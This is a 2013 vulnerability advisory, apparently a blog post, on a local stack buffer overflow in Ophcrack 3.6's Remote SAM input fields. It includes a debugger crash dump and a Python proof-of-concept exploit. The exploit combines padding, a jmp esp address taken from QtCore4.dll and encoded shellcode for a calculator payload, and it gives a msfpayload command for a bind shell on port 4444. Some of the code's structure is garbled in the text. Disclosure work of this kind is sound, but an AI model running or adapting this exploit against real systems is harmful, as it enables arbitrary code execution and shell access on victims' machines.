Ophcrack Local Stack Based Buffer Overflow

1. Advisory Information

Title: Ophcrack 3.6 Local Stack Based Buffer Overflow
Advisory URL: https://osandamalith.com/2013/12/28/ophcrack-local-stack-based-buffer-overflow
Date published: 2013-12-29
Vendors contacted: OBJECTIF SÉCURITÉ
Release mode: User release

2. Vulnerability Information

Class: Buffer Overflow [CWE-119]
Impact: Code Execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: N/A

3. Summary

Opcrack is a password cracker based on rainbow tables, a method that makes it possible to speed up the cracking process by using the result of calculations done in advance and stored rainbow tables.

4. Vulnerability Description

Ophcrack contains an overflow condition that is triggered as user-supplied input is not properly validated when passed via the ‘Host name:’, ‘Share:’, ‘User:’ fields. This may allow a local attacker to cause a stack-based buffer overflow, resulting in a denial of service or potentially allowing the execution of arbitrary code. Failure to exploit this vulnerability may cause denial of service.

5. Vulnerable Packages

  • 3.6
  • Older Versions might be vulnerable as well, they were not tested

6. Credits

This bug was researched and proof of concept exploit by Osanda Malith Jayathissa.

7. Proof of Concept / Technical Details

The EIP register is overwritten by our supplied arbitrary buffer.

[code language=”c”]
(1bbc.17c8): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=41414141 ecx=75d83d66 edx=00330dc0 esi=41414141 edi=41414141
eip=41414141 esp=002895a0 ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
41414141 ?? ???


Proof of concept exploit code.

[code language=”python”]
# Title: Ophcrack 3.6 Local Stack Based Buffer Overflow
# Version: 3.6
# Tested on: Windows XP SP2 en, Windows 8 64-bit
# Vendor: http://ophcrack.sourceforge.net/
# Software Link: http://sourceforge.net/projects/ophcrack/files/ophcrack/3.6.0/ophcrack-win32-installer-3.6.0.exe
# Original Advisory: https://osandamalith.com/2013/12/29/ophcrack-local-stack-based-buffer-overflow/
# E-Mail: osandajayathissa@gmail.com
# Exploit-Author: Osanda Malith
# Twitter: @OsandaMalith
# /!\ Author is not responsible for any damage you cause
# This POC is for educational purposes only
# Video: https://www.youtube.com/watch?v=YPPIyxPMakI
This exploit is super lame, as no user is going to paste 1000 characters
of text into the textbox, however it could potentially be used for
privilege escalation. It was still a fun learning exercise.
To exploit this bug open Ophcrack -> Click Load -> Remote SAM
There are three fields "Host name:", "Share:", "User:"
All three fields are vulnerable. I have made this exploit to work on those 3 fields.
Copy the contents written to the file into the specific field you selected and click ok.
print ”’

_/_/ _/ _/
_/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/ _/_/_/ _/_/_/ _/ _/
_/ _/ _/ _/ _/ _/ _/ _/_/ _/ _/ _/ _/_/
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
_/_/ _/_/_/ _/ _/ _/_/_/ _/ _/_/_/ _/_/_/ _/ _/

[+] Opchrack 3.6 Local Buffer Overflow Exploit
[+] Author: Osanda Malith Jayathissa < osandajayathissa [at] gmail.com >
[~] Special Thanks to Matt "hostess" Andreko < mandreko [at] accuvant.com >

while True:
choice = int(raw_input("[?] In which field do you want to inject our payload?\n1.Host name\n2.Share\n3.User\n"))
except ValueError:
print "[!] Enter only a number"
# If you select "Host name" you would get a error after injecting. Click "Don’t send" and enjoy the payload
if choice == 1:
buff = "A" * 497
elif choice == 2:
buff = "A" * 504
elif choice == 3:
buff = "A" * 504
print "[-] Invalid Choice"
# jmp instruction must be ‘ascii’ due to character set restrictions
# jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [QtCore4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v4.8.4.0 (C:\Program Files\ophcrack\QtCore4.dll)
eip = "\x39\x5b\x2b\x6e"

while True:
choice = int(raw_input("[?] Choose your payload:\n1.Calculator\n2.Bind Shell\n"))
except Exception, e:
print "[!] Enter only a number"

if choice == 1:
#ALPHA3.py esp –input="shellcode.bin"
shellcode = "TYhffffk4diFkDql02Dqm0D1CuEE0l3i8o3J378P4P8L4u8L3g0f3A0B1n2K405o7N5K328O4E3T4I0g"
shellcode += "0c1k0Q4M358P5M4y0I2Z3g3I3E3E2j4C2r110H135l0p0H7o381M0E0s3i4Z3D4p5k2C1l335N4R4L4D"
shellcode += "3w4X4H1L4p2n3R3M3L3C2x4s8o4H3M8N4y3J4P3j4S1k3b3L0h2r08125o1K0b1o101P0514373A1o0Z"
shellcode += "3O340Q0O0n5n4F4B8n4X1k0i4u4m0S407o0c1m4m4P5M2y135O1K0V1l4z3D0G3S0h120C4I183B0y14"
shellcode += "3h4H3G8K3S1L2k3E4r162Z3E7k5O138P5L3H0O0c0T15034I0v3M3P4H3h0Z2H3w3h3C002k7l4L3J1L"
shellcode += "2F3h0w3q0b8O3u2q064O1p4K3w0P3S0w1N2O2B043K0K7p3r4n1k2z0p017k0F3p4Y0u093d301n0n"
elif choice == 2:
# Thanks to Matt for teaching me about choosing correct shellcode 🙂
# Modify this part with your own custom shellcode
# msfpayload windows/shell/bind_tcp EXITFUNC=thread LPORT=4444 R| msfencode -e x86/alpha_mixed -t c BufferRegister=ESP
shellcode = (
print "[+] Connect on port 4444"
print "[-] Invalid Choice"

junk = "A" * 100
# Glad to write this at 17 😉
# Combine strings
exploit = buff + eip + shellcode + junk
print "[+] Writing to file >> exploit.txt"
# Write it out to file
file = open("exploit.txt", "w")
print "[~] " + str(len(exploit)) + " Bytes written to file"
print "[+] Copy all the contents inside the file into the field you selected and click ok"


8. Report Timeline

2013-12-28: The researcher notifies the vendor OBJECTIF SÉCURITÉ.
2013-12-29: Vendor confirms that it is not a big issue as the risk is low in exploiting. But would patch it in the next release and acknowledge.
2013-12-29: Public advisory released

9.  Disclaimer 

The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

10. References

[1] http://packetstormsecurity.com/files/124622

6 thoughts on “Ophcrack Local Stack Based Buffer Overflow

Leave a Reply